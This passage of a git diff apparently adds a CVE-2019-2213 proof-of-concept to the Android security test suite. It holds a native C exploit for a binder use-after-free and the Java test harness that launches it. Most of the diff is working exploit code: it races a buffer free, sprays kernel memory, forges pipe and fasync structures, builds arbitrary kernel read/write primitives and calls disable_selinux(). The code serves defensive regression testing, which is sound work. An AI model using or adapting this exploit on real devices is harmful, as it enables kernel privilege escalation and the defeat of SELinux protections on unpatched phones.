STAGE2_THREADS 64 + +int cpumask; +int cpu1; +int cpu2; +int tot_cpus; +const char *pipedir; +char *pipepath; +char *pipeid; +int pipefd[PIPES]; +sync_t *free_sync; +sync_t *poll_sync; +sync_t *stage2_sync1; +sync_t *stage2_sync2; +sync_t *rw_thread_sync; +int bnd1, bnd2; +u32 to1; +u64 free_ptr; +u64 trigger_time; +int total_txns; +int bad_pipe; +int uaf_pipe; +volatile int uaf_alloc_success; +u64 pipe_inode_info; +int rw_thread_tid; +volatile int rw_cmd; +volatile int rw_bit; +volatile int rw_val; +u64 free_data; +u64 next_free_data; + +void select_cpus() { + cpu1 = cpu2 = -1; + for (int i = 7; i >= 0; i--) { + if (do_set_cpu(i) < 0) + continue; + cpumask |= (1 << i); + if (cpu1 < 0) + cpu1 = i; + else if (cpu2 < 0) + cpu2 = i; + tot_cpus++; + } + if (cpu1 < 0 || cpu2 < 0) { + fail("huh, couldn't find 2 cpus"); + } + dbg("cpumask=%02x cpu1=%d cpu2=%d", cpumask, cpu1, cpu2); +} + +void rw_thread(u64 idx); +void free_thread(u64 arg); +void poll_thread(u64 arg); + +int cpu_available(int cpu) { + return !!(cpumask & (1 << cpu)); +} + +void hog_cpu_thread(u64 arg) { + set_cpu(cpu2); + time_t test_started = start_timer(); + while (timer_active(test_started)) { + } +} + +void launch_threads() { + launch_thread("txnuaf.log", log_thread, NULL, 0, 1); + launch_thread("txnuaf.hog", hog_cpu_thread, NULL, 0, 1); + launch_thread("txnuaf.free", free_thread, &free_sync, 0, 1); + launch_thread("txnuaf.poll", poll_thread, &poll_sync, 0, 1); + rw_thread_tid = launch_thread("txnuaf.rw", rw_thread, &rw_thread_sync, 0, 0); +} + +void open_binders() { + u32 xchg; + bnd1 = get_binder(&xchg); + exchg_put_binder(bnd1, xchg); + dec_ref(bnd1, xchg); + bnd2 = get_binder(&xchg); + to1 = exchg_get_binder(bnd2, xchg); + dec_ref(bnd1, xchg); +} + +void make_pipe_path() { + size_t l = strlen(pipedir); + pipepath = malloc(l + 4); // "/pd\0" + strcpy(pipepath, pipedir); + pipepath[l++] = '/'; + pipeid = pipepath + l; +} + +int open_pipe(int idx) { + if (!pipepath) + make_pipe_path(); + sprintf(pipeid, "p%d", idx); + int fd = open(pipepath, O_RDWR); + if (fd < 0) + fail("pipe open fail"); + return fd; +} + +void open_pipes() { + for (int i = 0; i < PIPES; i++) + pipefd[i] = open_pipe(i); +} + +int do_poll(int fd, int timeout) { + struct pollfd pfd; + pfd.fd = fd; + pfd.events = 0; + pfd.revents = 0; + if (poll(&pfd, 1, timeout) < 0) + fail("pipe poll fail"); + return pfd.revents; +} + +int find_bad_pipe() { + for (int i = 0; i < PIPES; i++) { + if (do_poll(pipefd[i], 0) & POLLHUP) { + dbg("corrupted pipe at %d", i); + bad_pipe = pipefd[i]; + sprintf(pipeid, "p%d", i); + return 1; + } + } + return 0; +} + +void close_pipes() { + for (int i = 0; i < PIPES; i++) { + if (close(pipefd[i]) < 0) + fail("close pipe fail, i=%d fd=%d", i, pipefd[i]); + } +} + +void free_thread(u64 arg) { + set_timerslack(); + set_cpu(cpu1); + set_idle(); + time_t test_started = start_timer(); + while (timer_active(test_started)) { + sync_wait(free_sync); + buf_t *buf = new_buf(); + buf_u32(buf, BC_FREE_BUFFER); + buf_uintptr(buf, free_ptr); + struct binder_write_read bwr; + memset(&bwr, 0x00, sizeof(bwr)); + bwr.write_buffer = (u64)buf->p; + bwr.write_size = buf->off; + int off = cpu1 < 4 ? 1300 : 350; + u64 target_time = trigger_time - off; + while (time_now() < target_time) + ; + ioctl(bnd1, BINDER_WRITE_READ, &bwr); + free_buf(buf); + sync_done(free_sync); + } +}; + +void race_cycle() { + dbg("race cycle, this may take time..."); + time_t test_started = start_timer(); + while (timer_active(test_started)) { + send_txn(bnd2, to1, 0, NULL, NULL); + txn_t t1, t2; + recv_txn(bnd1, &t1); + free_ptr = txn_buf(&t1); + trigger_time = time_now() + 100000; + sync_signal(free_sync); + sleep_until(trigger_time); + send_reply(bnd1); + open_pipes(); + recv_txn(bnd2, &t2); + free_txn(&t2); + sync_wait_done(free_sync); + if (find_bad_pipe()) + break; + close_pipes(); + } +} + +void reopen_pipe() { + uaf_pipe = open(pipepath, O_WRONLY); + if (uaf_pipe < 0) + fail("reopen pipe fail"); +} + +void stage2_thread(u64 cpu); + +void stage2_launcher(u64 arg) { + dup2(uaf_pipe, 0); + dup2(bnd1, 1); + dup2(bnd2, 2); + for (int i = 3; i < 1024; i++) + close(i); + unshare_following_clone_files(); + int cpu_count = android_getCpuCount(); + for (int cpu = 0; cpu < cpu_count; cpu++) { + if (cpu_available(cpu)) { + for (int i = 0; i < STAGE2_THREADS; i++) + launch_thread("txnuaf.stage2", stage2_thread, NULL, cpu, 0); + } + } +} + +void signal_xpl_threads() { + sync_signal(stage2_sync1); + sync_wait_done(stage2_sync1); + sync_signal(stage2_sync2); + sync_wait_done(stage2_sync2); +} + +void launch_stage2_threads() { + stage2_sync1 = alloc_sync(); + stage2_sync2 = alloc_sync(); + sync_set_num_waiters(stage2_sync1, STAGE2_THREADS); + sync_set_num_waiters(stage2_sync2, (tot_cpus - 1) * STAGE2_THREADS); + hook_clone(); + unshare_following_clone_files(); + launch_thread("txnuaf.stage2_launcher", stage2_launcher, NULL, 0, 0); + // set cpu + signal_xpl_threads(); +} + +void alloc_txns(int n) { + total_txns += n; + size_t totsz = n * (4 + sizeof(struct binder_transaction_data)); + buf_t *buf = new_buf_sz(totsz); + for (int i = 0; i < n; i++) { + buf_u32(buf, BC_TRANSACTION); + struct binder_transaction_data *tr; + tr = buf_alloc(buf, sizeof(*tr)); + tr->target.handle = to1; + tr->code = 0; + tr->flags |= TF_ONE_WAY; + tr->data.ptr.buffer = 0; + tr->data.ptr.offsets = 0; + tr->data_size = 0; + tr->offsets_size = 0; + } + binder_write(bnd2, buf); +} + +void recv_all_txns(int fd) { + for (int i = 0; i < total_txns; i++) { + txn_t t; + recv_txn(fd, &t); + free_txn(&t); + } +} + +void clean_slab() { + // clean node + alloc_txns(4096); + // clean each cpu + int cpu_count = android_getCpuCount(); + for (int i = 0; i < cpu_count; i++) { + if (cpu_available(i)) { + set_cpu(i); + alloc_txns(512); + } + } + set_cpu(cpu1); + // for good measure + alloc_txns(128); +} + +void poll_thread(u64 arg) { + set_timerslack(); + sync_wait(poll_sync); + do_poll(uaf_pipe, 200); + dbg("poll timeout"); + sync_done(poll_sync); +} + +void free_pipe_alloc_fdmem() { + clean_slab(); + sync_signal(poll_sync); + usleep(50000); + if (close(bad_pipe) < 0) { + fail("free close fail"); + return; + } + // alloc fdmem + signal_xpl_threads(); + // set all bits + signal_xpl_threads(); + dbg("fdmem spray done"); + sync_wait_done(poll_sync); + recv_all_txns(bnd1); +} + +void find_pipe_slot_thread() { + signal_xpl_threads(); + if (!uaf_alloc_success) + fail("inode_info uaf alloc fail - this may sometimes happen, " + "kernel may crash after you close the app"); +} + +void set_all_bits() { + for (int i = 0x1ff; i >= 3; i--) + if (dup2(1, i) < 0) + fail("dup2 fail, fd=%d", i); +} + +void winfo32_lo(int addr, u32 dat) { + int startbit = addr ? 0 : 3; + addr *= 8; + for (int i = startbit; i < 32; i++) { + int fd = addr + i; + if (dat & (1ul << i)) { + if (dup2(1, fd) < 0) + fail("winfo dup2 fail, fd=%d", fd); + } else { + if (close(fd) < 0 && errno != EBADF) + fail("winfo close fail, fd=%d", fd); + } + } +} + +void winfo32_hi(int addr, u32 dat) { + addr *= 8; + for (int i = 0; i < 32; i++) { + u32 bit = dat & (1u << i); + int fd = addr + i; + if (fcntl(fd, F_SETFD, bit ? FD_CLOEXEC : 0) < 0) { + if (errno != EBADF || bit) + fail("winfo fcntl fail fd=%d", fd); + } + } +} + +void winfo32(int addr, u32 dat) { + if (addr < 0x40) + winfo32_lo(addr, dat); + else + winfo32_hi(addr - 0x40, dat); +} + +void winfo64(int addr, u64 dat) { + winfo32(addr, dat); + winfo32(addr + 4, dat >> 32); +} + +u64 rinfo64(int addr) { + addr *= 8; + u64 ret = 0; + for (int i = 0; i < 64; i++) { + int fd = addr + i; + fd_set set; + FD_ZERO(&set); + FD_SET(fd, &set); + struct timeval timeout; + timeout.tv_sec = 0; + timeout.tv_usec = 0; + if (select(fd + 1, &set, NULL, NULL, &timeout) >= 0) + ret |= 1ul << i; + else if (errno != EBADF) + fail("leak select fail"); + } + return ret; +} + +int files_off = 0x30; +int file_off = 0x48; +int fdt_off = 0x58; +int fmode_off = 0x78; +int faoff = 0x10; + +void set_pipe_mutex_count(u32 count) { + winfo32(0, count); +} + +void set_pipe_nrbufs(u32 nrbufs) { + winfo32(0x40, nrbufs); +} + +void set_pipe_curbuf(u32 curbuf) { + winfo32(0x44, curbuf); +} + +void set_pipe_buffers(u32 buffers) { + winfo32(0x48, buffers); +} + +void set_pipe_readers(u32 readers) { + winfo32(0x4c, readers); +} + +void set_pipe_fasync_readers(u64 fasync_readers) { + winfo64(0x70, fasync_readers); +} + +void set_pipe_wait_next(u64 next) { + winfo64(0x30, next); +} + +u64 get_pipe_wait_next() { + return rinfo64(0x30); +} + +void set_fa_magic(u32 magic) { + winfo32(faoff + 4, magic); +} + +void set_fa_next(u64 next) { + winfo64(faoff + 0x10, next); +} + +void set_fa_file(u64 file) { + winfo64(faoff + 0x18, file); +} + +u64 get_mutex_owner() { + return rinfo64(0x18); +} + +void set_files_count(int count) { + winfo32(files_off, count); +} + +void set_files_fdt(u64 fdt) { + winfo64(files_off + 0x20, fdt); +} + +void set_fdt_max_fds(u32 max_fds) { + winfo32(fdt_off, max_fds); +} + +void set_fdt_fdarr(u64 fdarr) { + winfo64(fdt_off + 8, fdarr); +} + +void set_fdt_close_on_exec(u64 close_on_exec) { + winfo64(fdt_off + 0x10, close_on_exec); +} + +void set_file_fmode(u32 fmode) { + winfo32(fmode_off, fmode); +} + +void set_file(u64 file) { + winfo64(file_off, file); +} + +void stage2(); + +void stage2_thread(u64 cpu) { + sync_t *sync = cpu == cpu1 ? stage2_sync1 : stage2_sync2; + sync_wait(sync); + do_set_cpu(cpu); + sync_done(sync); + + sync_wait(sync); + if (dup2(1, 0x1ff) < 0) { + fail("dup2 fail"); + return; + } + sync_done(sync); + + sync_wait(sync); + set_all_bits(); + sync_done(sync); + + sync_wait(sync); + u64 wait_list = get_pipe_wait_next(); + int ok = wait_list != -1l; + if (ok) { + uaf_alloc_success = 1; + pipe_inode_info = wait_list - 0x30; + dbg("pipe_inode_info=%016zx", pipe_inode_info); + } + sync_done(sync); + if (ok) + stage2(); +} + +void write_pipe_ptr_to(u64 addr) { + set_pipe_wait_next(addr - 8); + do_poll(0, 50); +} + +void overwrite_pipe_bufs() { + write_pipe_ptr_to(pipe_inode_info + 0x80); +} + +void leak_task_ptr() { + set_pipe_mutex_count(0x7); + set_pipe_wait_next(pipe_inode_info + 0x30); + u64 faptr = pipe_inode_info + faoff; + set_pipe_fasync_readers(faptr); + set_pipe_nrbufs(3); + set_pipe_curbuf(0); + set_pipe_buffers(4); + set_pipe_readers(1); + set_fa_magic(0x4601); + set_fa_next(faptr); + set_fa_file(0xfffffffful); // overlaps with inode_info.wait.lock + sync_signal(rw_thread_sync); + // wait for rw thread to write mutex owner + usleep(100000); + rw_task = get_mutex_owner(); + dbg("rw_task=%016zx", rw_task); + // unblock rw thread + set_fa_magic(0); + if (syscall(SYS_tkill, rw_thread_tid, SIGUSR2) < 0) + fail("tkill fail"); + dbg("signaled rw_thread"); + sync_wait_done(rw_thread_sync); + // wait until klogd has logged the bad magic number error + sleep(1); +} + +void overwrite_task_files(u64 task) { + write_pipe_ptr_to(task + 0x7c0); +} + +void sigfunc(int a) { +} + +enum {cmd_read, cmd_write, cmd_exit}; + +void handle_sig() { + struct sigaction sa; + memset(&sa, 0x00, sizeof(sa)); + sa.sa_handler = sigfunc; + if (sigaction(SIGUSR2, &sa, NULL) < 0) + fail("sigaction fail"); +} + +void rw_thread(u64 idx) { + handle_sig(); + sync_wait(rw_thread_sync); + void *dat = malloc(0x2000); + dbg("starting blocked write"); + if (write(uaf_pipe, dat, 0x2000) != 0x1000) { + fail("expected blocking write=0x1000"); + return; + } + dbg("write unblocked"); + sync_done(rw_thread_sync); + int done = 0; + while (!done) { + sync_wait(rw_thread_sync); + if (rw_cmd == cmd_read) { + int bits = fcntl(rw_bit, F_GETFD); + if (bits < 0) { + fail("F_GETFD fail"); + return; + } + rw_val = !!(bits & FD_CLOEXEC); + } else if (rw_cmd == cmd_write) { + if (fcntl(rw_bit, F_SETFD, rw_val ? FD_CLOEXEC : 0) < 0) { + fail("F_SETFD fail"); + return; + } + } else { + done = 1; + } + sync_done(rw_thread_sync); + } +} + +void set_fdarr(int bit) { + set_fdt_fdarr(pipe_inode_info + file_off - bit * 8); +} + +u8 r8(u64 addr) { + u8 val = 0; + set_fdt_close_on_exec(addr); + for (int bit = 0; bit < 8; bit++) { + set_fdarr(bit); + rw_bit = bit; + rw_cmd = cmd_read; + sync_signal(rw_thread_sync); + sync_wait_done(rw_thread_sync); + val |= rw_val << bit; + } + return val; +} + +void w8(u64 addr, u8 val) { + set_fdt_close_on_exec(addr); + for (int bit = 0; bit < 8; bit++) { + set_fdarr(bit); + rw_bit = bit; + rw_val = val & (1 << bit); + rw_cmd = cmd_write; + sync_signal(rw_thread_sync); + sync_wait_done(rw_thread_sync); + } +} + +void exit_rw_thread() { + rw_cmd = cmd_exit; + sync_signal(rw_thread_sync); + sync_wait_done(rw_thread_sync); +} + +void w16(u64 addr, u16 val) { + w8(addr, val); + w8(addr + 1, val >> 8); +} + +void w32(u64 addr, u32 val) { + w16(addr, val); + w16(addr + 2, val >> 16); +} + +void w64(u64 addr, u64 val) { + w32(addr, val); + w32(addr + 4, val >> 32); +} + +u16 r16(u64 addr) { + return r8(addr) | (r8(addr + 1) << 8); +} + +u32 r32(u64 addr) { + return r16(addr) | (r16(addr + 2) << 16); +} + +u64 r64(u64 addr) { + return r32(addr) | (u64)r32(addr + 4) << 32; +} + +#define magic 0x55565758595a5b5cul + +void set_up_arbitrary_rw() { + overwrite_task_files(rw_task); + set_all_bits(); + set_files_count(1); + set_files_fdt(pipe_inode_info + fdt_off); + set_fdt_max_fds(8); + set_file(pipe_inode_info + fmode_off - 0x44); + set_file_fmode(0); + u64 magic_addr = scratch; + w64(magic_addr, magic); + if (r64(magic_addr) != magic) + fail("rw test fail"); + dbg("got arbitrary rw"); +} + +u64 get_current() { + int our_tid = gettid(); + u64 leader = r64(rw_task + 0x610); + u64 task = leader; + + time_t test_started = start_timer(); + while (timer_active(test_started)) { + int tid = r32(task + 0x5d0); + if (tid == our_tid) + return task; + task = r64(task + 0x680) - 0x680; + if (task == leader) + break; + } + fail("current not found"); + return (u64)-1; +} + +void get_fdarr() { + current = get_current(); + if (current == (u64)-1) { + return; + } + dbg("current=%016zx", current); + u64 files = r64(current + 0x7c0); + u64 fdt = r64(files + 0x20); + fdarr = r64(fdt + 8); +} + +void place_bnd_buf(u64 v1, u64 v2, txn_t *t) { + txn_t t2; + int do_free = !t; + if (!t) + t = &t2; + buf_t *dat = new_buf(); + buf_u64(dat, v1); + buf_u64(dat, v2); + send_txn(2, to1, 0, dat, NULL); + recv_txn(1, t); + if (do_free) + free_txn(t); + send_reply(1); + recv_txn(2, &t2); + free_txn(&t2); +} + +void w128(u64 addr, u64 v1, u64 v2) { + w64(free_data, addr); + w64(next_free_data, addr + 0x10); + place_bnd_buf(v1, v2, NULL); +} + +void set_up_w128() { + u64 bnd = get_file(1); + u64 proc = r64(bnd + 0xd0); + u64 alloc = proc + 0x1c0; + enter_looper(1); + txn_t t1, t2; + place_bnd_buf(0, 0, &t1); + place_bnd_buf(0, 0, &t2); + free_txn(&t1); + u64 free_buffer = r64(alloc + 0x48); + u64 next = r64(free_buffer); + w64(alloc + 0x38, 0); + w64(alloc + 0x78, ~0ul); + free_data = free_buffer + 0x58; + next_free_data = next + 0x58; + u64 magic_addr = scratch + 8; + w128(magic_addr, magic, magic); + if (r64(magic_addr) != magic || r64(magic_addr + 8) != magic) + fail("w128 test fail"); + dbg("got w128"); +} + +void clean_up() { + w64(fdarr, 0); + set_files_count(2); + exit_rw_thread(); +} + +void exploit() { + set_thread_name("txnuaf"); + select_cpus(); + set_cpu(cpu1); + set_timerslack(); + launch_threads(); + open_binders(); + race_cycle(); + reopen_pipe(); + launch_stage2_threads(); + free_pipe_alloc_fdmem(); + find_pipe_slot_thread(); +} + +void stage2() { + scratch = pipe_inode_info + 0xb8; + overwrite_pipe_bufs(); + leak_task_ptr(); + set_up_arbitrary_rw(); + get_fdarr(); + set_up_w128(); + winfo32(0, 0x7); + disable_selinux(); + clean_up(); +} + +JNIEXPORT void JNICALL +Java_android_security_cts_ExploitThread_runxpl(JNIEnv *e, jobject t, jstring jpipedir) { + this = (*e)->NewGlobalRef(e, t); + add_jenv(e); + (*e)->GetJavaVM(e, &jvm); + jclass cls = (*e)->GetObjectClass(e, this); + add_log = (*e)->GetMethodID(e, cls, "addLog", "(Ljava/lang/String;)V"); + pipedir = (*e)->GetStringUTFChars(e, jpipedir, NULL); + exploit(); + (*e)->ReleaseStringUTFChars(e, jpipedir, pipedir); +} diff --git a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_android_conscrypt.bin Binary files differdeleted file mode 100644 index 67e87a12ecd..00000000000 --- a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_android_media.bin b/tests/tests/security/res/raw/sig_com_android_media.bin Binary files differdeleted file mode 100644 index d33cb3f454a..00000000000 --- a/tests/tests/security/res/raw/sig_com_android_media.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin Binary files differdeleted file mode 100644 index 8c663d4c371..00000000000 --- a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_android_resolv.bin b/tests/tests/security/res/raw/sig_com_android_resolv.bin Binary files differdeleted file mode 100644 index cae337ec07c..00000000000 --- a/tests/tests/security/res/raw/sig_com_android_resolv.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin Binary files differdeleted file mode 100644 index 824864936af..00000000000 --- a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_android_runtime_release.bin Binary files differdeleted file mode 100644 index 55640d72b6c..00000000000 --- a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_android_tzdata.bin Binary files differdeleted file mode 100644 index f4339e61b19..00000000000 --- a/tests/tests/security/res/raw/sig_com_android_tzdata.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin Binary files differdeleted file mode 100644 index e27820f5e7c..00000000000 --- a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_google_android_media.bin b/tests/tests/security/res/raw/sig_com_google_android_media.bin Binary files differdeleted file mode 100644 index 125931188dc..00000000000 --- a/tests/tests/security/res/raw/sig_com_google_android_media.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin Binary files differdeleted file mode 100644 index 0e72db7006f..00000000000 --- a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin b/tests/tests/security/res/raw/sig_com_google_android_resolv.bin Binary files differdeleted file mode 100644 index f5de8711d86..00000000000 --- a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin Binary files differdeleted file mode 100644 index e28c489c130..00000000000 --- a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin Binary files differdeleted file mode 100644 index 96c192c1c63..00000000000 --- a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin +++ /dev/null diff --git a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin Binary files differdeleted file mode 100644 index abcc35f0cf1..00000000000 --- a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin +++ /dev/null diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java new file mode 100644 index 00000000000..abb03706ff6 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java @@ -0,0 +1,201 @@ +/* + * Copyright (C) 2019 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.system.Os; +import android.os.Looper; +import android.os.Message; +import android.os.ParcelFileDescriptor; +import android.os.SystemClock; + +import android.app.Activity; +import android.app.ActivityManager; + +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.ContextWrapper; +import android.content.Intent; +import android.content.IntentFilter; +import android.content.pm.ApplicationInfo; + +import android.hardware.display.VirtualDisplay; + +import java.io.IOException; +import java.io.BufferedReader; +import java.io.InputStream; +import java.io.InputStreamReader; + +import static org.junit.Assert.assertTrue; +import android.test.AndroidTestCase; +import androidx.test.InstrumentationRegistry; +import android.platform.test.annotations.SecurityTest; + +import java.util.ArrayList; +import android.util.Log; + +import android.graphics.Bitmap; +import android.os.Bundle; +import android.os.IBinder; +import android.system.ErrnoException; +import android.widget.TextView; + +import java.io.File; +import java.util.List; + +class Exchange extends IBinderExchange.Stub { + IBinder binder; + BinderExploitTest.CVE_2019_2213_Activity xpl; + Exchange(BinderExploitTest.CVE_2019_2213_Activity xpl) { + this.xpl = xpl; + } + @Override + public void putBinder(IBinder bnd) { + this.xpl.addLog("put binder"); + binder = bnd; + } + @Override + public IBinder getBinder() { + this.xpl.addLog("get binder"); + return binder; + } +} + +class ExploitThread extends Thread { + static { + System.loadLibrary("cve_2019_2213_jni"); + } + BinderExploitTest.CVE_2019_2213_Activity xpl; + String pipedir; + + ExploitThread(BinderExploitTest.CVE_2019_2213_Activity xpl, String pipedir) { + this.xpl = xpl; + this.pipedir = pipedir; + } + + public void run() { + runxpl(pipedir); + } + + void addLog(String msg) { + xpl.addLog(msg); + } + + public native void runxpl(String pipedir); +} + +@SecurityTest +public class BinderExploitTest extends AndroidTestCase { + + static final String TAG = BinderExploitTest.class.getSimpleName(); + private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts"; + + public CVE_2019_2213_Activity mActivity; + private void launchActivity(Class<? extends Activity> clazz) { + final Context context = InstrumentationRegistry.getInstrumentation().getContext(); + final Intent intent = new Intent(Intent.ACTION_MAIN); + intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName()); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + } + + /** + * b/141496757 + */ + @SecurityTest(minPatchLevel = "2019-11") + public void testPoc_cve_2019_2213() throws Exception { + Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start...")); + + // set timeout to 5 minutes + int timeout = 60; + + // run test activity + launchActivity(CVE_2019_2213_Activity.class); + // main loop to check forked processs bahaviors + while (timeout-- > 0) { + SystemClock.sleep(1000); + } + Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 finished.")); + } + + public static class CVE_2019_2213_Activity extends Activity { + ActivityManager actmgr; + String log = ""; + + synchronized void addLog(String msg) { + Log.i("txnuaf", msg); + log += msg + "\n"; + Log.i(TAG, log); + } + + ActivityManager.AppTask getAppTask() { + List<ActivityManager.AppTask> list = actmgr.getAppTasks(); + for (int i = 0; i < list.size(); i++) { + ActivityManager.RecentTaskInfo info = list.get(i).getTaskInfo(); + if (info.baseIntent.getExtras() != null) + return list.get(i); + } + return null; + } + + void setUpBundle() throws Exception { + actmgr = (ActivityManager)getSystemService(ACTIVITY_SERVICE); + ActivityManager.AppTask t = getAppTask(); + if (t != null) + t.finishAndRemoveTask(); + Intent in = new Intent(this, CVE_2019_2213_Activity.class); + Bundle extras = new Bundle(); + extras.putBinder("bnd", new Exchange(this)); + in.putExtras(extras); + in.setFlags(in.getFlags() | Intent.FLAG_ACTIVITY_NEW_DOCUMENT); + Bitmap bmp = Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8); + if (actmgr.addAppTask(this, in, null, bmp) == -1) + throw new Exception("addAppTask failed"); + t = getAppTask(); + if (t == null) + throw new Exception("no appTask with extras"); + Bundle b = t.getTaskInfo().baseIntent.getExtras(); + if (!b.containsKey("bnd")) + throw new Exception("no bnd key"); + addLog("apptask added"); + } + + public String makePipes() throws ErrnoException { + File dir = getDir("xpldat", 0); + for (int i = 0; i < 8; i++) { + File fifo = new File(dir, "p" + i); + if (fifo.exists()) + fifo.delete(); + Os.mkfifo(fifo.getPath(), 0600); + } + return dir.getPath(); + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + try { + setUpBundle(); + (new ExploitThread(this, makePipes())).start(); + } catch (Exception e) { + addLog(e.toString()); + } + } + } + + +} diff --git a/tests/tests/security/src/android/security/cts/IBinderExchange.java b/tests/tests/security/src/android/security/cts/IBinderExchange.java new file mode 100644 index 00000000000..765baacab3d --- /dev/null +++ b/tests/tests/security/src/android/security/cts/IBinderExchange.java @@ -0,0 +1,140 @@ +/* + * Copyright (C) 2019 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/* + * This file is auto-generated in Android Studio for BinderExploitTest. DO NOT MODIFY. + */ +package android.security.cts; + +public interface IBinderExchange extends android.os.IInterface { + /** Local-side IPC implementation stub class. */ + public static abstract class Stub extends android.os.Binder + implements android.security.cts.IBinderExchange { + private static final java.lang.String DESCRIPTOR = "android.security.cts.IBinderExchange"; + + /** Construct the stub at attach it to the interface. */ + public Stub() { + this.attachInterface(this, DESCRIPTOR); + } + + /** + * Cast an IBinder object into an android.security.cts.IBinderExchange + * interface, generating a proxy if needed. + */ + public static android.security.cts.IBinderExchange asInterface(android.os.IBinder obj) { + if ((obj == null)) { + return null; + } + android.os.IInterface iin = obj.queryLocalInterface(DESCRIPTOR); + if (((iin != null) && (iin instanceof android.security.cts.IBinderExchange))) { + return ((android.security.cts.IBinderExchange) iin); + } + return new android.security.cts.IBinderExchange.Stub.Proxy(obj); + } + + @Override + public android.os.IBinder asBinder() { + return this; + } + + @Override + public boolean onTransact( + int code, android.os.Parcel data, android.os.Parcel reply, int flags) + throws android.os.RemoteException { + java.lang.String descriptor = DESCRIPTOR; + switch (code) { + case INTERFACE_TRANSACTION: { + reply.writeString(descriptor); + return true; + } + case TRANSACTION_putBinder: { + data.enforceInterface(descriptor); + android.os.IBinder _arg0; + _arg0 = data.readStrongBinder(); + this.putBinder(_arg0); + reply.writeNoException(); + return true; + } + case TRANSACTION_getBinder: { + data.enforceInterface(descriptor); + android.os.IBinder _result = this.getBinder(); + reply.writeNoException(); + reply.writeStrongBinder(_result); + return true; + } + default: { + return super.onTransact(code, data, reply, flags); + } + } + } + + private static class Proxy implements android.security.cts.IBinderExchange { + private android.os.IBinder mRemote; + + Proxy(android.os.IBinder remote) { + mRemote = remote; + } + + @Override + public android.os.IBinder asBinder() { + return mRemote; + } + + public java.lang.String getInterfaceDescriptor() { + return DESCRIPTOR; + } + + @Override + public void putBinder(android.os.IBinder bnd) throws android.os.RemoteException { + android.os.Parcel _data = android.os.Parcel.obtain(); + android.os.Parcel _reply = android.os.Parcel.obtain(); + try { + _data.writeInterfaceToken(DESCRIPTOR); + _data.writeStrongBinder(bnd); + mRemote.transact(Stub.TRANSACTION_putBinder, _data, _reply, 0); + _reply.readException(); + } finally { + _reply.recycle(); + _data.recycle(); + } + } + + @Override + public android.os.IBinder getBinder() throws android.os.RemoteException { + android.os.Parcel _data = android.os.Parcel.obtain(); + android.os.Parcel _reply = android.os.Parcel.obtain(); + android.os.IBinder _result; + try { + _data.writeInterfaceToken(DESCRIPTOR); + mRemote.transact(Stub.TRANSACTION_getBinder, _data, _reply, 0); + _reply.readException(); + _result = _reply.readStrongBinder(); + } finally { + _reply.recycle(); + _data.recycle(); + } + return _result; + } + } + + static final int TRANSACTION_putBinder = (android.os.IBinder.FIRST_CALL_TRANSACTION + 0); + static final int TRANSACTION_getBinder = (android.os.IBinder.FIRST_CALL_TRANSACTION + 1); + } + + public void putBinder(android.os.IBinder 